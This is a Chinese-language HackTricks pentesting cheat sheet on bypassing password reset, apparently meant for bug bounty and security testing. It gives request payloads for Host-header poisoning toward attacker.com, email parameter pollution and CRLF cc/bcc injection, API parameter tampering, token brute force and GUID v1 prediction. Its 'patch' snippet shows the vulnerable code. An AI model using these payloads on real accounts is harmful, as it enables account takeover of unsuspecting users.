hacktricks/pentesting-web/reset-password.md

323 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 重置/忘记密码绕过
<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
深入了解黑客的刺激和挑战
**实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界
**最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
以下技术汇编摘自 [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## 通过引用来源泄露密码重置令牌
**HTTP引用来源**是一个可选的HTTP头字段用于识别与所请求资源链接的网页地址。引用来源请求头包含了前一个网页的地址从该网页链接到当前请求的页面
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### 利用
* 向您的电子邮件地址请求密码重置
* 点击密码重置链接
* 不更改密码
* 点击任何第三方网站例如FacebookTwitter
* 在burpsuite代理中拦截请求
* 检查引用来源头是否泄露了密码重置令牌。
### 影响
它允许控制特定网站的人更改用户的密码CSRF攻击因为此人知道用户的重置密码令牌。
### 参考:
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## 密码重置投毒
如果您发现了主机头攻击,并且它不在范围内,请尝试找到密码重置按钮!
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### 利用
* 在Burpsuite中拦截密码重置请求
* 添加以下头或在burpsuite中编辑头逐个尝试
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* 检查电子邮件中更改密码的链接是否指向 attacker.com
### 补丁
使用 `$_SERVER['SERVER_NAME']']` 而不是 `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### 影响
受害者将在他们的电子邮件中收到恶意链接,点击后,将会向攻击者泄露用户的密码重置链接/令牌,导致完全账户接管。
### 参考资料:
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## 通过操纵电子邮件参数重置密码
### 利用
* 使用 & 添加攻击者电子邮件作为第二参数
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* 使用%20将攻击者邮箱添加为第二个参数
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* 使用 | 将攻击者邮箱添加为第二个参数
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* 使用 cc 将攻击者邮箱添加为第二参数
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* 使用 bcc 将攻击者邮箱添加为第二参数
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* 使用逗号将攻击者邮箱添加为第二个参数
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* 在json数组中添加攻击者邮箱作为第二个参数
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### 参考资料
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## 通过API参数更改任何用户的电子邮件和密码
### 利用
* 攻击者必须登录他们的账户并转到更改密码功能
* 启动Burp Suite并拦截请求
* 拦截请求后将其发送到repeater并修改参数Email和Password
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### 参考资料
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### 无速率限制:电子邮件轰炸 <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
### 利用方法
* 启动Burp Suite并拦截密码重置请求
* 发送至入侵者
* 使用空负载
### 参考资料
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## 弄清楚密码重置令牌是如何生成的
找出密码重置令牌的生成模式
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
如果它
* 基于时间戳生成
* 基于用户ID生成
* 基于用户电子邮件生成
* 基于名字和姓氏生成
* 基于出生日期生成
* 基于密码学生成
使用Burp Sequencer来找出令牌的随机性或可预测性。
## 可猜测的GUID
有不同类型的GUID
* **版本0** 只在nil GUID"00000000-0000-0000-0000-000000000000")中看到。
* **版本1** GUID的生成方式是可预测的基于
* 当前时间
* 一个随机生成的“时钟序列”,在生成系统的运行时间内保持不变
* 一个“节点ID”如果系统的MAC地址可用则基于该地址生成
* **版本3** GUID是使用提供的名称和命名空间的MD5哈希生成的。
* **版本4** GUID是随机生成的。
* **版本5** GUID是使用提供的名称和命名空间的SHA1哈希生成的。
可以查看GUID并找出其版本有一个小工具可以做到这一点[**guidtool**](https://github.com/intruder-io/guidtool)****
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
如果用来生成重置密码GUID的版本是版本1那么可以暴力破解GUID
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### 参考资料
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## 响应操作:用正确的响应替换错误的响应
寻找类似这样的请求和响应
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
更改响应
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### 参考资料
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
### 使用过期的令牌 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
* 检查是否可以重复使用过期的令牌
### 暴力破解密码重置令牌 <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
尝试使用Burpsuite暴力破解重置令牌
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
### 参考资料
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### 尝试使用你的令牌 <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
* 尝试将你的密码重置令牌添加到受害者的账户
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### 参考资料
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## 退出/重置密码时的会话**无效化**
当用户**登出或重置密码**时,当前会话应该被无效化。\
因此,在用户登录状态下,**获取cookies**,然后**登出**,并**检查**这些**cookies**是否仍然**有效**。\
重复这个过程,但这次是**更改密码**而不是登出。
## 重置令牌的过期时间
**重置令牌必须有一个过期时间**,过了这个时间令牌就不应该有效更改用户的密码。
## 额外检查
* 使用 username@burp\_collab.net 并分析回调
* 用户抄送 email=victim@mail.com%0a%0dcc:hacker@mail.com
* 长密码(>200会导致DoS
* 追加第二个电子邮件参数和值
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
深入了解黑客的刺激和挑战
**实时黑客新闻**\
通过实时新闻和洞察,保持与快节奏黑客世界的同步
**最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
其他支持HackTricks的方式
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧。
</details>